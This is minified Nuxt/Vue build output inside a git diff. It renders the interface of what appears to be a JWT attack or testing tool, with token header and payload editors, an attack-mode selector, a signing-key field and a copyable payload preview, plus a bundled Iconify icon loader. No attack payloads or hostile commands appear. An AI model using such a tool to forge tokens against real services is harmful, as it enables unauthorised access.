resize-none"},null,512),[[pl,Z(t).token]])]),ne("div",T1,[P1,ne("div",N1,[z1,he(d,{id:"jwt-token-header",autoresize:"",modelValue:Z(r).header,"onUpdate:modelValue":o[1]||(o[1]=b=>Z(r).header=b),variant:"none",rows:5,spellcheck:"false",textareaClass:"text-md text-jwt-header p-4 rounded-none border border-secondary focus:border-secondary"},null,8,["modelValue"]),D1,he(d,{id:"jwt-token-payload",autoresize:"",modelValue:Z(r).payload,"onUpdate:modelValue":o[2]||(o[2]=b=>Z(r).payload=b),variant:"none",spellcheck:"false",rows:8,textareaClass:"text-md text-jwt-payload p-4 rounded-t-none border border-secondary focus:border-secondary"},null,8,["modelValue"]),Z(t).attack==Z(qt).CUSTOM?(G(),oe("div",F1,[ne("span",L1,[Jt("SECRET: "),ne("span",j1,[Jt("KEY TO SIGN TOKEN "),a()?(G(),oe("span",U1,"(RSA KEY)")):Ce("",!0)])])])):Ce("",!0),Z(t).attack==Z(qt).CUSTOM?(G(),Qe(d,{key:1,modelValue:Z(r).secret,"onUpdate:modelValue":o[3]||(o[3]=b=>Z(r).secret=b),variant:"none",spellcheck:"false",textareaClass:"text-md text-white p-4 rounded-t-none border border-secondary focus:border-secondary"},null,8,["modelValue"])):Ce("",!0)])])])}}}),H1=ne("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24","stroke-width":"1.5",stroke:"currentColor",class:"size-6"},[ne("path",{"stroke-linecap":"round","stroke-linejoin":"round",d:"M11.35 3.836c-.065.21-.1.433-.1.664 0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75 2.25 2.25 0 0 0-.1-.664m-5.8 0A2.251 2.251 0 0 1 13.5 2.25H15c1.012 0 1.867.668 2.15 1.586m-5.8 0c-.376.023-.75.05-1.124.08C9.095 4.01 8.25 4.973 8.25 6.108V8.25m8.9-4.414c.376.023.75.05 1.124.08 1.131.094 1.976 1.057 1.976 2.192V16.5A2.25 2.25 0 0 1 18 18.75h-2.25m-7.5-10.5H4.875c-.621 0-1.125.504-1.125 1.125v11.25c0 .621.504 1.125 1.125 1.125h9.75c.621 0 1.125-.504 1.125-1.125V18.75m-7.5-10.5h6.375c.621 0 1.125.504 1.125 1.125v9.375m-8.25-3 1.5 1.5 3-3.75"})],-1),V1=[H1],K1=xe({__name:"ClipboardButton",props:{textToCopy:{type:String,required:!0}},setup(e){const t=i=>{Yn(i,{autoClose:1e3,position:Yn.POSITION.BOTTOM_RIGHT,type:"success",theme:"dark",transition:"zoom",toastStyle:{backgroundColor:"#161B22"}})},r=e,n=()=>{r.textToCopy&&navigator.clipboard.writeText(r.textToCopy).then(()=>{t("Copied to clipboard!")}).catch(i=>{console.error(i)})};return(i,a)=>(G(),oe("button",{onClick:a[0]||(a[0]=s=>n()),type:"button",class:"focus:outline-none focus-visible:outline-0 flex-shrink-0 font-medium rounded-md text-xs text-gray-400 hover:text-gray-200 underline-offset-4 hover:underline focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-400 inline-flex items-center absolute top-1.5 right-1.5","aria-label":"Copy code to clipboard",tabindex:"-1"},V1))}}),W1=ne("label",{for:"payload",class:"block text-left text-white font-normal text-2xl mb-4"},"Payload",-1),J1={class:"w-full relative border border-secondary-300 bg-secondary rounded-md"},Y1={class:"px-6 py-6"},X1=xe({__name:"payload-preview",setup(e){const t=_r().value,r=i=>{Yn(i,{autoClose:1e3,position:Yn.POSITION.BOTTOM_RIGHT,type:"success",theme:"dark",transition:"zoom",toastStyle:{backgroundColor:"#161B22"}})},n=i=>{i&&navigator.clipboard.writeText(i).then(()=>{r("Copied to clipboard!")}).catch(a=>{console.error(a)})};return(i,a)=>{const s=K1,o=qa;return G(),oe(pn,null,[W1,ne("div",J1,[he(s,{"text-to-copy":Z(t).payload},null,8,["text-to-copy"]),ne("div",Y1,[he(o,{onClick:a[0]||(a[0]=d=>n(Z(t).payload)),"aria-readonly":"true",autoresize:"",modelValue:Z(t).payload,"onUpdate:modelValue":a[1]||(a[1]=d=>Z(t).payload=d),variant:"none",rows:0,spellcheck:"false",textareaClass:"text-md w-full focus:outline-none text-jwt-sign focus:border-gray-600 cursor-default"},null,8,["modelValue"])])])],64)}}}),G1={class:"flex flex-col"},Z1={class:"flex flex-col items-center min-h-screen pt-20"},Q1={class:"w-full max-w-7xl text-center space-y-8"},eb={class:"flex justify-center mt-8"},tb={class:"pb-16"},fb=xe({__name:"index",async setup(e){let t,r;const n=_r().value,i=Fn();return n.token=([t,r]=Vi(()=>ea()),t=await t,r(),t),n.payload=([t,r]=Vi(()=>ea()),t=await t,r(),t),i.value=([t,r]=Vi(()=>ea()),t=await t,r(),t),(a,s)=>{const o=Pl,d=td,b=k1,p=q1,m=X1;return G(),oe("div",G1,[he(o),ne("div",Z1,[ne("div",Q1,[ne("div",eb,[he(d)]),ne("div",null,[he(b)]),ne("div",null,[he(p)]),ne("div",tb,[he(m)])])])])}}});export{fb as default}; diff --git a/assets/oxvGAWOn.js b/_nuxt/DjTWdmij.js similarity index 90% rename from assets/oxvGAWOn.js rename to _nuxt/DjTWdmij.js index 0f379f9..be52a74 100644 --- a/assets/oxvGAWOn.js +++ b/_nuxt/DjTWdmij.js @@ -1 +1 @@ -import{q as Te,R as ce,v as Qe,G as le,a0 as Ge,r as Ke,l as C,aa as Je,o as M,c as ae,y as z,$ as ue,x as fe,h as We,I as Xe,K as Ye,d as Ze,t as et,f as tt,_ as nt}from"./CK1nJsmy.js";import{r as ot}from"./CAZilBRX.js";const Ae=Object.freeze({left:0,top:0,width:16,height:16}),Pe=Object.freeze({rotate:0,vFlip:!1,hFlip:!1}),Z=Object.freeze({...Ae,...Pe});Object.freeze({...Z,body:"",hidden:!1});({...Ae});const Ee=Object.freeze({width:null,height:null}),Fe=Object.freeze({...Ee,...Pe});function rt(e,t){const n={...e};for(const r in t){const o=t[r],s=typeof o;r in Ee?(o===null||o&&(s==="string"||s==="number"))&&(n[r]=o):s===typeof n[r]&&(n[r]=r==="rotate"?o%4:o)}return n}const st=/[\s,]+/;function it(e,t){t.split(st).forEach(n=>{switch(n.trim()){case"horizontal":e.hFlip=!0;break;case"vertical":e.vFlip=!0;break}})}function ct(e,t=0){const n=e.replace(/^-?[0-9.]*/,"");function r(o){for(;o<0;)o+=4;return o%4}if(n===""){const o=parseInt(e);return isNaN(o)?0:r(o)}else if(n!==e){let o=0;switch(n){case"%":o=25;break;case"deg":o=90}if(o){let s=parseFloat(e.slice(0,e.length-n.length));return isNaN(s)?0:(s=s/o,s%1===0?r(s):0)}}return t}const lt=/(-?[0-9.]*[0-9]+[0-9.]*)/g,at=/^-?[0-9.]*[0-9]+[0-9.]*$/g;function de(e,t,n){if(t===1)return e;if(n=n||100,typeof e=="number")return Math.ceil(e*t*n)/n;if(typeof e!="string")return e;const r=e.split(lt);if(r===null||!r.length)return e;const o=[];let s=r.shift(),i=at.test(s);for(;;){if(i){const c=parseFloat(s);isNaN(c)?o.push(s):o.push(Math.ceil(c*t*n)/n)}else o.push(s);if(s=r.shift(),s===void 0)return o.join("");i=!i}}function ut(e,t="defs"){let n="";const r=e.indexOf("<"+t);for(;r>=0;){const o=e.indexOf(">",r),s=e.indexOf("",s);if(i===-1)break;n+=e.slice(o+1,s).trim(),e=e.slice(0,r).trim()+e.slice(i+1)}return{defs:n,content:e}}function ft(e,t){return e?""+e+""+t:t}function dt(e,t,n){const r=ut(e);return ft(r.defs,t+r.content+n)}const pt=e=>e==="unset"||e==="undefined"||e==="none";function ht(e,t){const n={...Z,...e},r={...Fe,...t},o={left:n.left,top:n.top,width:n.width,height:n.height};let s=n.body;[n,r].forEach(m=>{const l=[],b=m.hFlip,x=m.vFlip;let y=m.rotate;b?x?y+=2:(l.push("translate("+(o.width+o.left).toString()+" "+(0-o.top).toString()+")"),l.push("scale(-1 1)"),o.top=o.left=0):x&&(l.push("translate("+(0-o.left).toString()+" "+(o.height+o.top).toString()+")"),l.push("scale(1 -1)"),o.top=o.left=0);let v;switch(y<0&&(y-=Math.floor(y/4)*4),y=y%4,y){case 1:v=o.height/2+o.top,l.unshift("rotate(90 "+v.toString()+" "+v.toString()+")");break;case 2:l.unshift("rotate(180 "+(o.width/2+o.left).toString()+" "+(o.height/2+o.top).toString()+")");break;case 3:v=o.width/2+o.left,l.unshift("rotate(-90 "+v.toString()+" "+v.toString()+")");break}y%2===1&&(o.left!==o.top&&(v=o.left,o.left=o.top,o.top=v),o.width!==o.height&&(v=o.width,o.width=o.height,o.height=v)),l.length&&(s=dt(s,'',""))});const i=r.width,c=r.height,a=o.width,u=o.height;let f,d;i===null?(d=c===null?"1em":c==="auto"?u:c,f=de(d,a/u)):(f=i==="auto"?a:i,d=c===null?de(f,u/a):c==="auto"?u:c);const p={},g=(m,l)=>{pt(l)||(p[m]=l.toString())};g("width",f),g("height",d);const w=[o.left,o.top,a,u];return p.viewBox=w.join(" "),{attributes:p,viewBox:w,body:s}}const gt=/\sid="(\S+)"/g,mt="IconifyId"+Date.now().toString(16)+(Math.random()*16777216|0).toString(16);let yt=0;function bt(e,t=mt){const n=[];let r;for(;r=gt.exec(e);)n.push(r[1]);if(!n.length)return e;const o="suffix"+(Math.random()*16777216|Date.now()).toString(16);return n.forEach(s=>{const i=typeof t=="function"?t(s):t+(yt++).toString(),c=s.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");e=e.replace(new RegExp('([#;"])('+c+')([")]|\\.[a-z])',"g"),"$1"+i+o+"$3")}),e=e.replace(new RegExp(o,"g"),""),e}function vt(e,t){let n=e.indexOf("xlink:")===-1?"":' xmlns:xlink="http://www.w3.org/1999/xlink"';for(const r in t)n+=" "+r+'="'+t[r]+'"';return'"+e+""}function wt(e){return e.replace(/"/g,"'").replace(/%/g,"%25").replace(/#/g,"%23").replace(//g,"%3E").replace(/\s+/g," ")}function xt(e){return"data:image/svg+xml,"+wt(e)}function It(e){return'url("'+xt(e)+'")'}const pe={...Fe,inline:!1},St={xmlns:"http://www.w3.org/2000/svg","xmlns:xlink":"http://www.w3.org/1999/xlink","aria-hidden":!0,role:"img"},Ct={display:"inline-block"},H={backgroundColor:"currentColor"},Me={backgroundColor:"transparent"},he={Image:"var(--svg)",Repeat:"no-repeat",Size:"100% 100%"},ge={webkitMask:H,mask:H,background:Me};for(const e in ge){const t=ge[e];for(const n in he)t[e+n]=he[n]}const _={};["horizontal","vertical"].forEach(e=>{const t=e.slice(0,1)+"Flip";_[e+"-flip"]=t,_[e.slice(0,1)+"-flip"]=t,_[e+"Flip"]=t});function me(e){return e+(e.match(/^[-0-9.]+$/)?"px":"")}const kt=(e,t)=>{const n=rt(pe,t),r={...St},o=t.mode||"svg",s={},i=t.style,c=typeof i=="object"&&!(i instanceof Array)?i:{};for(let m in t){const l=t[m];if(l!==void 0)switch(m){case"icon":case"style":case"onLoad":case"mode":break;case"inline":case"hFlip":case"vFlip":n[m]=l===!0||l==="true"||l===1;break;case"flip":typeof l=="string"&&it(n,l);break;case"color":s.color=l;break;case"rotate":typeof l=="string"?n[m]=ct(l):typeof l=="number"&&(n[m]=l);break;case"ariaHidden":case"aria-hidden":l!==!0&&l!=="true"&&delete r["aria-hidden"];break;default:{const b=_[m];b?(l===!0||l==="true"||l===1)&&(n[b]=!0):pe[m]===void 0&&(r[m]=l)}}}const a=ht(e,n),u=a.attributes;if(n.inline&&(s.verticalAlign="-0.125em"),o==="svg"){r.style={...s,...c},Object.assign(r,u);let m=0,l=t.id;return typeof l=="string"&&(l=l.replace(/-/g,"_")),r.innerHTML=bt(a.body,l?()=>l+"ID"+m++:"iconifyVue"),ce("svg",r)}const{body:f,width:d,height:p}=e,g=o==="mask"||(o==="bg"?!1:f.indexOf("currentColor")!==-1),w=vt(f,{...u,width:d+"",height:p+""});return r.style={...s,"--svg":It(w),width:me(u.width),height:me(u.height),...Ct,...g?H:Me,...c},ce("span",r)},jt=Object.create(null),Ot=Te({inheritAttrs:!1,render(){const e=this.$attrs,t=e.icon,n=typeof t=="string"?jt[t]:typeof t=="object"?t:null;return n===null||typeof n!="object"||typeof n.body!="string"?this.$slots.default?this.$slots.default():null:kt({...Z,...n},e)}}),A=/^[a-z0-9]+(-[a-z0-9]+)*$/,R=(e,t,n,r="")=>{const o=e.split(":");if(e.slice(0,1)==="@"){if(o.length<2||o.length>3)return null;r=o.shift().slice(1)}if(o.length>3||!o.length)return null;if(o.length>1){const c=o.pop(),a=o.pop(),u={provider:o.length>0?o[0]:r,prefix:a,name:c};return t&&!$(u)?null:u}const s=o[0],i=s.split("-");if(i.length>1){const c={provider:r,prefix:i.shift(),name:i.join("-")};return t&&!$(c)?null:c}if(n&&r===""){const c={provider:r,prefix:"",name:s};return t&&!$(c,n)?null:c}return null},$=(e,t)=>e?!!((e.provider===""||e.provider.match(A))&&(t&&e.prefix===""||e.prefix.match(A))&&e.name.match(A)):!1,ze=Object.freeze({left:0,top:0,width:16,height:16}),D=Object.freeze({rotate:0,vFlip:!1,hFlip:!1}),ee=Object.freeze({...ze,...D}),Q=Object.freeze({...ee,body:"",hidden:!1});function Tt(e,t){const n={};!e.hFlip!=!t.hFlip&&(n.hFlip=!0),!e.vFlip!=!t.vFlip&&(n.vFlip=!0);const r=((e.rotate||0)+(t.rotate||0))%4;return r&&(n.rotate=r),n}function ye(e,t){const n=Tt(e,t);for(const r in Q)r in D?r in e&&!(r in n)&&(n[r]=D[r]):r in t?n[r]=t[r]:r in e&&(n[r]=e[r]);return n}function At(e,t){const n=e.icons,r=e.aliases||Object.create(null),o=Object.create(null);function s(i){if(n[i])return o[i]=[];if(!(i in o)){o[i]=null;const c=r[i]&&r[i].parent,a=c&&s(c);a&&(o[i]=[c].concat(a))}return o[i]}return Object.keys(n).concat(Object.keys(r)).forEach(s),o}function Pt(e,t,n){const r=e.icons,o=e.aliases||Object.create(null);let s={};function i(c){s=ye(r[c]||o[c],s)}return i(t),n.forEach(i),ye(e,s)}function Le(e,t){const n=[];if(typeof e!="object"||typeof e.icons!="object")return n;e.not_found instanceof Array&&e.not_found.forEach(o=>{t(o,null),n.push(o)});const r=At(e);for(const o in r){const s=r[o];s&&(t(o,Pt(e,o,s)),n.push(o))}return n}const Et={provider:"",aliases:{},not_found:{},...ze};function V(e,t){for(const n in t)if(n in e&&typeof e[n]!=typeof t[n])return!1;return!0}function _e(e){if(typeof e!="object"||e===null)return null;const t=e;if(typeof t.prefix!="string"||!e.icons||typeof e.icons!="object"||!V(e,Et))return null;const n=t.icons;for(const o in n){const s=n[o];if(!o.match(A)||typeof s.body!="string"||!V(s,Q))return null}const r=t.aliases||Object.create(null);for(const o in r){const s=r[o],i=s.parent;if(!o.match(A)||typeof i!="string"||!n[i]&&!r[i]||!V(s,Q))return null}return t}const be=Object.create(null);function Ft(e,t){return{provider:e,prefix:t,icons:Object.create(null),missing:new Set}}function k(e,t){const n=be[e]||(be[e]=Object.create(null));return n[t]||(n[t]=Ft(e,t))}function te(e,t){return _e(t)?Le(t,(n,r)=>{r?e.icons[n]=r:e.missing.add(n)}):[]}function Mt(e,t,n){try{if(typeof n.body=="string")return e.icons[t]={...n},!0}catch{}return!1}let P=!1;function $e(e){return typeof e=="boolean"&&(P=e),P}function zt(e){const t=typeof e=="string"?R(e,!0,P):e;if(t){const n=k(t.provider,t.prefix),r=t.name;return n.icons[r]||(n.missing.has(r)?null:void 0)}}function Lt(e,t){const n=R(e,!0,P);if(!n)return!1;const r=k(n.provider,n.prefix);return Mt(r,n.name,t)}function _t(e,t){if(typeof e!="object")return!1;if(typeof t!="string"&&(t=e.provider||""),P&&!t&&!e.prefix){let o=!1;return _e(e)&&(e.prefix="",Le(e,(s,i)=>{i&&Lt(s,i)&&(o=!0)})),o}const n=e.prefix;if(!$({provider:t,prefix:n,name:"a"}))return!1;const r=k(t,n);return!!te(r,e)}const $t=Object.freeze({width:null,height:null}),Nt=Object.freeze({...$t,...D});""+Date.now().toString(16)+(Math.random()*16777216|0).toString(16);const G=Object.create(null);function Dt(e,t){G[e]=t}function K(e){return G[e]||G[""]}function ne(e){let t;if(typeof e.resources=="string")t=[e.resources];else if(t=e.resources,!(t instanceof Array)||!t.length)return null;return{resources:t,path:e.path||"/",maxURL:e.maxURL||500,rotate:e.rotate||750,timeout:e.timeout||5e3,random:e.random===!0,index:e.index||0,dataAfterTimeout:e.dataAfterTimeout!==!1}}const oe=Object.create(null),T=["https://api.simplesvg.com","https://api.unisvg.com"],N=[];for(;T.length>0;)T.length===1||Math.random()>.5?N.push(T.shift()):N.push(T.pop());oe[""]=ne({resources:["https://api.iconify.design"].concat(N)});function J(e,t){const n=ne(t);return n===null?!1:(oe[e]=n,!0)}function re(e){return oe[e]}const Rt=()=>{let e;try{if(e=fetch,typeof e=="function")return e}catch{}};let ve=Rt();function Bt(e,t){const n=re(e);if(!n)return 0;let r;if(!n.maxURL)r=0;else{let o=0;n.resources.forEach(i=>{o=Math.max(o,i.length)});const s=t+".json?icons=";r=n.maxURL-o-n.path.length-s.length}return r}function Vt(e){return e===404}const qt=(e,t,n)=>{const r=[],o=Bt(e,t),s="icons";let i={type:s,provider:e,prefix:t,icons:[]},c=0;return n.forEach((a,u)=>{c+=a.length+1,c>=o&&u>0&&(r.push(i),i={type:s,provider:e,prefix:t,icons:[]},c=a.length),i.icons.push(a)}),r.push(i),r};function Ut(e){if(typeof e=="string"){const t=re(e);if(t)return t.path}return"/"}const Ht=(e,t,n)=>{if(!ve){n("abort",424);return}let r=Ut(t.provider);switch(t.type){case"icons":{const s=t.prefix,c=t.icons.join(","),a=new URLSearchParams({icons:c});r+=s+".json?"+a.toString();break}case"custom":{const s=t.uri;r+=s.slice(0,1)==="/"?s.slice(1):s;break}default:n("abort",400);return}let o=503;ve(e+r).then(s=>{const i=s.status;if(i!==200){setTimeout(()=>{n(Vt(i)?"abort":"next",i)});return}return o=501,s.json()}).then(s=>{if(typeof s!="object"||s===null){setTimeout(()=>{s===404?n("abort",s):n("next",o)});return}setTimeout(()=>{n("success",s)})}).catch(()=>{n("next",o)})},Qt={prepare:qt,send:Ht};function Gt(e){const t={loaded:[],missing:[],pending:[]},n=Object.create(null);e.sort((o,s)=>o.provider!==s.provider?o.provider.localeCompare(s.provider):o.prefix!==s.prefix?o.prefix.localeCompare(s.prefix):o.name.localeCompare(s.name));let r={provider:"",prefix:"",name:""};return e.forEach(o=>{if(r.name===o.name&&r.prefix===o.prefix&&r.provider===o.provider)return;r=o;const s=o.provider,i=o.prefix,c=o.name,a=n[s]||(n[s]=Object.create(null)),u=a[i]||(a[i]=k(s,i));let f;c in u.icons?f=t.loaded:i===""||u.missing.has(c)?f=t.missing:f=t.pending;const d={provider:s,prefix:i,name:c};f.push(d)}),t}function Ne(e,t){e.forEach(n=>{const r=n.loaderCallbacks;r&&(n.loaderCallbacks=r.filter(o=>o.id!==t))})}function Kt(e){e.pendingCallbacksFlag||(e.pendingCallbacksFlag=!0,setTimeout(()=>{e.pendingCallbacksFlag=!1;const t=e.loaderCallbacks?e.loaderCallbacks.slice(0):[];if(!t.length)return;let n=!1;const r=e.provider,o=e.prefix;t.forEach(s=>{const i=s.icons,c=i.pending.length;i.pending=i.pending.filter(a=>{if(a.prefix!==o)return!0;const u=a.name;if(e.icons[u])i.loaded.push({provider:r,prefix:o,name:u});else if(e.missing.has(u))i.missing.push({provider:r,prefix:o,name:u});else return n=!0,!0;return!1}),i.pending.length!==c&&(n||Ne([e],s.id),s.callback(i.loaded.slice(0),i.missing.slice(0),i.pending.slice(0),s.abort))})}))}let Jt=0;function Wt(e,t,n){const r=Jt++,o=Ne.bind(null,n,r);if(!t.pending.length)return o;const s={id:r,icons:t,callback:e,abort:o};return n.forEach(i=>{(i.loaderCallbacks||(i.loaderCallbacks=[])).push(s)}),o}function Xt(e,t=!0,n=!1){const r=[];return e.forEach(o=>{const s=typeof o=="string"?R(o,t,n):o;s&&r.push(s)}),r}var Yt={resources:[],index:0,timeout:2e3,rotate:750,random:!1,dataAfterTimeout:!1};function Zt(e,t,n,r){const o=e.resources.length,s=e.random?Math.floor(Math.random()*o):e.index;let i;if(e.random){let h=e.resources.slice(0);for(i=[];h.length>1;){const I=Math.floor(Math.random()*h.length);i.push(h[I]),h=h.slice(0,I).concat(h.slice(I+1))}i=i.concat(h)}else i=e.resources.slice(s).concat(e.resources.slice(0,s));const c=Date.now();let a="pending",u=0,f,d=null,p=[],g=[];typeof r=="function"&&g.push(r);function w(){d&&(clearTimeout(d),d=null)}function m(){a==="pending"&&(a="aborted"),w(),p.forEach(h=>{h.status==="pending"&&(h.status="aborted")}),p=[]}function l(h,I){I&&(g=[]),typeof h=="function"&&g.push(h)}function b(){return{startTime:c,payload:t,status:a,queriesSent:u,queriesPending:p.length,subscribe:l,abort:m}}function x(){a="failed",g.forEach(h=>{h(void 0,f)})}function y(){p.forEach(h=>{h.status==="pending"&&(h.status="aborted")}),p=[]}function v(h,I,O){const F=I!=="success";switch(p=p.filter(S=>S!==h),a){case"pending":break;case"failed":if(F||!e.dataAfterTimeout)return;break;default:return}if(I==="abort"){f=O,x();return}if(F){f=O,p.length||(i.length?j():x());return}if(w(),y(),!e.random){const S=e.resources.indexOf(h.resource);S!==-1&&S!==e.index&&(e.index=S)}a="completed",g.forEach(S=>{S(O)})}function j(){if(a!=="pending")return;w();const h=i.shift();if(h===void 0){if(p.length){d=setTimeout(()=>{w(),a==="pending"&&(y(),x())},e.timeout);return}x();return}const I={status:"pending",resource:h,callback:(O,F)=>{v(I,O,F)}};p.push(I),u++,d=setTimeout(j,e.rotate),n(h,t,I.callback)}return setTimeout(j),b}function De(e){const t={...Yt,...e};let n=[];function r(){n=n.filter(c=>c().status==="pending")}function o(c,a,u){const f=Zt(t,c,a,(d,p)=>{r(),u&&u(d,p)});return n.push(f),f}function s(c){return n.find(a=>c(a))||null}return{query:o,find:s,setIndex:c=>{t.index=c},getIndex:()=>t.index,cleanup:r}}function we(){}const q=Object.create(null);function en(e){if(!q[e]){const t=re(e);if(!t)return;const n=De(t),r={config:t,redundancy:n};q[e]=r}return q[e]}function tn(e,t,n){let r,o;if(typeof e=="string"){const s=K(e);if(!s)return n(void 0,424),we;o=s.send;const i=en(e);i&&(r=i.redundancy)}else{const s=ne(e);if(s){r=De(s);const i=e.resources?e.resources[0]:"",c=K(i);c&&(o=c.send)}}return!r||!o?(n(void 0,424),we):r.query(t,o,n)().abort}const xe="iconify2",E="iconify",Re=E+"-count",Ie=E+"-version",Be=36e5,nn=168,on=50;function W(e,t){try{return e.getItem(t)}catch{}}function se(e,t,n){try{return e.setItem(t,n),!0}catch{}}function Se(e,t){try{e.removeItem(t)}catch{}}function X(e,t){return se(e,Re,t.toString())}function Y(e){return parseInt(W(e,Re))||0}const B={local:!0,session:!0},Ve={local:new Set,session:new Set};let ie=!1;function rn(e){ie=e}let L=typeof window>"u"?{}:window;function qe(e){const t=e+"Storage";try{if(L&&L[t]&&typeof L[t].length=="number")return L[t]}catch{}B[e]=!1}function Ue(e,t){const n=qe(e);if(!n)return;const r=W(n,Ie);if(r!==xe){if(r){const c=Y(n);for(let a=0;a{const a=E+c.toString(),u=W(n,a);if(typeof u=="string"){try{const f=JSON.parse(u);if(typeof f=="object"&&typeof f.cached=="number"&&f.cached>o&&typeof f.provider=="string"&&typeof f.data=="object"&&typeof f.data.prefix=="string"&&t(f,c))return!0}catch{}Se(n,a)}};let i=Y(n);for(let c=i-1;c>=0;c--)s(c)||(c===i-1?(i--,X(n,i)):Ve[e].add(c))}function He(){if(!ie){rn(!0);for(const e in B)Ue(e,t=>{const n=t.data,r=t.provider,o=n.prefix,s=k(r,o);if(!te(s,n).length)return!1;const i=n.lastModified||-1;return s.lastModifiedCached=s.lastModifiedCached?Math.min(s.lastModifiedCached,i):i,!0})}}function sn(e,t){const n=e.lastModifiedCached;if(n&&n>=t)return n===t;if(e.lastModifiedCached=t,n)for(const r in B)Ue(r,o=>{const s=o.data;return o.provider!==e.provider||s.prefix!==e.prefix||s.lastModified===t});return!0}function cn(e,t){ie||He();function n(r){let o;if(!B[r]||!(o=qe(r)))return;const s=Ve[r];let i;if(s.size)s.delete(i=Array.from(s).shift());else if(i=Y(o),i>=on||!X(o,i+1))return;const c={cached:Math.floor(Date.now()/Be),provider:e.provider,data:t};return se(o,E+i.toString(),JSON.stringify(c))}t.lastModified&&!sn(e,t.lastModified)||Object.keys(t.icons).length&&(t.not_found&&(t=Object.assign({},t),delete t.not_found),n("local")||n("session"))}function Ce(){}function ln(e){e.iconsLoaderFlag||(e.iconsLoaderFlag=!0,setTimeout(()=>{e.iconsLoaderFlag=!1,Kt(e)}))}function an(e,t){e.iconsToLoad?e.iconsToLoad=e.iconsToLoad.concat(t).sort():e.iconsToLoad=t,e.iconsQueueFlag||(e.iconsQueueFlag=!0,setTimeout(()=>{e.iconsQueueFlag=!1;const{provider:n,prefix:r}=e,o=e.iconsToLoad;delete e.iconsToLoad;let s;if(!o||!(s=K(n)))return;s.prepare(n,r,o).forEach(c=>{tn(n,c,a=>{if(typeof a!="object")c.icons.forEach(u=>{e.missing.add(u)});else try{const u=te(e,a);if(!u.length)return;const f=e.pendingIcons;f&&u.forEach(d=>{f.delete(d)}),cn(e,a)}catch(u){console.error(u)}ln(e)})})}))}const un=(e,t)=>{const n=Xt(e,!0,$e()),r=Gt(n);if(!r.pending.length){let a=!0;return t&&setTimeout(()=>{a&&t(r.loaded,r.missing,r.pending,Ce)}),()=>{a=!1}}const o=Object.create(null),s=[];let i,c;return r.pending.forEach(a=>{const{provider:u,prefix:f}=a;if(f===c&&u===i)return;i=u,c=f,s.push(k(u,f));const d=o[u]||(o[u]=Object.create(null));d[f]||(d[f]=[])}),r.pending.forEach(a=>{const{provider:u,prefix:f,name:d}=a,p=k(u,f),g=p.pendingIcons||(p.pendingIcons=new Set);g.has(d)||(g.add(d),o[u][f].push(d))}),s.forEach(a=>{const{provider:u,prefix:f}=a;o[u][f].length&&an(a,o[u][f])}),t?Wt(t,r,s):Ce},fn=e=>new Promise((t,n)=>{const r=typeof e=="string"?R(e,!0):e;if(!r){n(e);return}un([r||e],o=>{if(o.length&&r){const s=zt(r);if(s){t({...ee,...s});return}}n(e)})});({...Nt});const ke={backgroundColor:"currentColor"},dn={backgroundColor:"transparent"},je={Image:"var(--svg)",Repeat:"no-repeat",Size:"100% 100%"},Oe={webkitMask:ke,mask:ke,background:dn};for(const e in Oe){const t=Oe[e];for(const n in je)t[e+n]=je[n]}const U={};["horizontal","vertical"].forEach(e=>{const t=e.slice(0,1)+"Flip";U[e+"-flip"]=t,U[e.slice(0,1)+"-flip"]=t,U[e+"Flip"]=t});$e(!0);Dt("",Qt);if(typeof document<"u"&&typeof window<"u"){He();const e=window;if(e.IconifyPreload!==void 0){const t=e.IconifyPreload,n="Invalid IconifyPreload syntax.";typeof t=="object"&&t!==null&&(t instanceof Array?t:[t]).forEach(r=>{try{(typeof r!="object"||r===null||r instanceof Array||typeof r.icons!="object"||typeof r.prefix!="string"||!_t(r))&&console.error(n)}catch{console.error(n)}})}if(e.IconifyProviders!==void 0){const t=e.IconifyProviders;if(typeof t=="object"&&t!==null)for(let n in t){const r="IconifyProviders["+n+"] is invalid.";try{const o=t[n];if(typeof o!="object"||!o||o.resources===void 0)continue;J(n,o)||console.error(r)}catch{console.error(r)}}}}({...ee});const pn=Te({__name:"Icon",props:{name:{type:String,required:!0},size:{type:String,default:""}},async setup(e){let t,n;const r=tt(),o=Qe(),s=e;le(()=>{var l;return(l=o.nuxtIcon)==null?void 0:l.iconifyApiOptions},()=>{var l,b,x,y,v,j;if((b=(l=o.nuxtIcon)==null?void 0:l.iconifyApiOptions)!=null&&b.url){try{new URL(o.nuxtIcon.iconifyApiOptions.url)}catch{console.warn("Nuxt Icon: Invalid custom Iconify API URL");return}if((y=(x=o.nuxtIcon)==null?void 0:x.iconifyApiOptions)!=null&&y.publicApiFallback){J("custom",{resources:[(v=o.nuxtIcon)==null?void 0:v.iconifyApiOptions.url],index:0});return}J("",{resources:[(j=o.nuxtIcon)==null?void 0:j.iconifyApiOptions.url]})}},{immediate:!0});const i=Ge("icons",()=>({})),c=Ke(!1),a=C(()=>{var l,b;return(b=(l=o.nuxtIcon)==null?void 0:l.aliases)!=null&&b[s.name]?o.nuxtIcon.aliases[s.name]:s.name}),u=C(()=>ot(a.value)),f=C(()=>[u.value.provider,u.value.prefix,u.value.name].filter(Boolean).join(":")),d=C(()=>{var l;return(l=i.value)==null?void 0:l[f.value]}),p=C(()=>{var l;return(l=r.vueApp)==null?void 0:l.component(a.value)}),g=C(()=>{var b,x,y;if(!s.size&&typeof((b=o.nuxtIcon)==null?void 0:b.size)=="boolean"&&!((x=o.nuxtIcon)!=null&&x.size))return;const l=s.size||((y=o.nuxtIcon)==null?void 0:y.size)||"1em";return String(Number(l))===l?`${l}px`:l}),w=C(()=>{var l;return((l=o==null?void 0:o.nuxtIcon)==null?void 0:l.class)??"icon"});async function m(){var l;p.value||(l=i.value)!=null&&l[f.value]||(c.value=!0,i.value[f.value]=await fn(u.value).catch(()=>{}),c.value=!1)}return le(a,m),!p.value&&([t,n]=Je(()=>m()),t=await 